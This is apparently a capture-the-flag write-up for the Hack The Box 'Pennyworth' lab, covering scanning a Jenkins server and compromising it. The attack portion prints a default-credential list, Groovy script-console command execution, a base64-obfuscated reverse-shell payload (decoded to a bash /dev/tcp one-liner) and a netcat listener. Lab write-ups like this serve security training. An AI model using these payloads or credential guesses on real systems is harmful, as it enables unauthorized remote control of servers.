Pennyworth

Reconnaissance

IP: 10.129.177.98

We start with the normal network scan with Nmap and see that there is a Node.js web and a SSH server. Nikto didn’t report anything special so I didn’t include it.

nmap -sC -sV 10.129.177.98 
PORT     STATE SERVICE VERSION
8080/tcp open  http    Jetty 9.4.39.v20210325
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).

We can see that there is an HTTP server: Jetty. Let’s check out the website. Remember to include the port number (8080) in the browser otherwise it will default to HTTPS.

We can see that the server is running Jenkins an automation software. At this point I thought there it wouldn’t be as easy as guessing the password so I started Dirbusting with Gobuster. I had to include 403 and 404 as negative HTTP Response Codes because otherwise we would mostly get hits with 403.

gobuster dir -u http://10.129.177.98:8080 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -t 30 -b 403,404 

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.177.98:8080
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/04/04 13:36:12 Starting gobuster in directory enumeration mode
===============================================================
/login                (Status: 200) [Size: 2028]
/assets               (Status: 302) [Size: 0] [--> http://10.129.177.98:8080/assets/]
/logout               (Status: 302) [Size: 0] [--> http://10.129.177.98:8080/]       
/error                (Status: 400) [Size: 6241]                                     
/git                  (Status: 302) [Size: 0] [--> http://10.129.177.98:8080/git/]   
/oops                 (Status: 200) [Size: 6503]                                     
/cli                  (Status: 302) [Size: 0] [--> http://10.129.177.98:8080/cli/]   
                                                                                     
===============================================================
2022/04/04 13:37:23 Finished
===============================================================

There are a few interesting derectories worth checking out.

The /git/ showed us the version of Jetty which we already now. On the /oops page we can see the Jenkins version: 2.289.1. After a bit of googling we can see that this version of Jetty and this version of Jenkins have various CVEs. I tried playing around with those but had no luck. for the Jenkins vulnerabilities you would need to have user access to the CLI (at least from my understanding) and the Jetty exploits would just return 403 Forbbiden.

Gaining Access

I was trying for hours and nothing useful would come out. Eventually I gave up and looked in the official writeup and of course it was a weak password
 They just suggested to try those:

admin:password
admin:admin
root:root
root:password
admin:admin1
admin:password1
root:password1

And of course root:password worked. It’s a bit frustrating that it was so simple and kind of required ‘luck’ instead of some cool way to exploit a vulnerability but it shows that the same thing could happen in the real world. ALWAYS TRY BAD PASSWORDS FIRST Anyway, after logging in we are presented with this screen.

Since we are logged in as root and presumably are running as the system root user it will be very simple to get a Shell. In the Solution they give you a link to the Hacktricks website which seems to be very useful since it already helped me out in another box.

On the Hacktricks cheat sheet there are a few Groovy scripts that we can run from the Script Console on the website or simply visit the /script directory. There is a simple one to test if we can run commands:

def process = "ls /".execute()
println "Found text ${process.text}"

And we got output! Next lets use the Reverse Shell on Hacktricks.

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

But first we have to change it a bit so it will connect to our Kali machine. Lets decode the payload from Base64. This is what we get.

bash -c 'bash -i >& /dev/tcp/10.10.14.22/4343 0>&1'

That’s pretty simple. Now just change the IP address to your own and the port if needed. Mine is 10.10.14.135 so I’ll use that.

bash -c 'bash -i >& /dev/tcp/10.10.14.135/4343 0>&1'

encode it back to Base64 and paste it back in the script:

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMzUvNDM0MyAwPiYxJw==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Now run Netcat and listen on the port you set.

nc -lnvp 4343

And run the script in the Script Console. Ignore the warning it is not very important for us now. The important thing is, we got a Shell! With Netcat we can execute commands and easily enough the flag was in the Home Directory of Root.

Go to Pennyworth - Solution.pdf to see the official write up.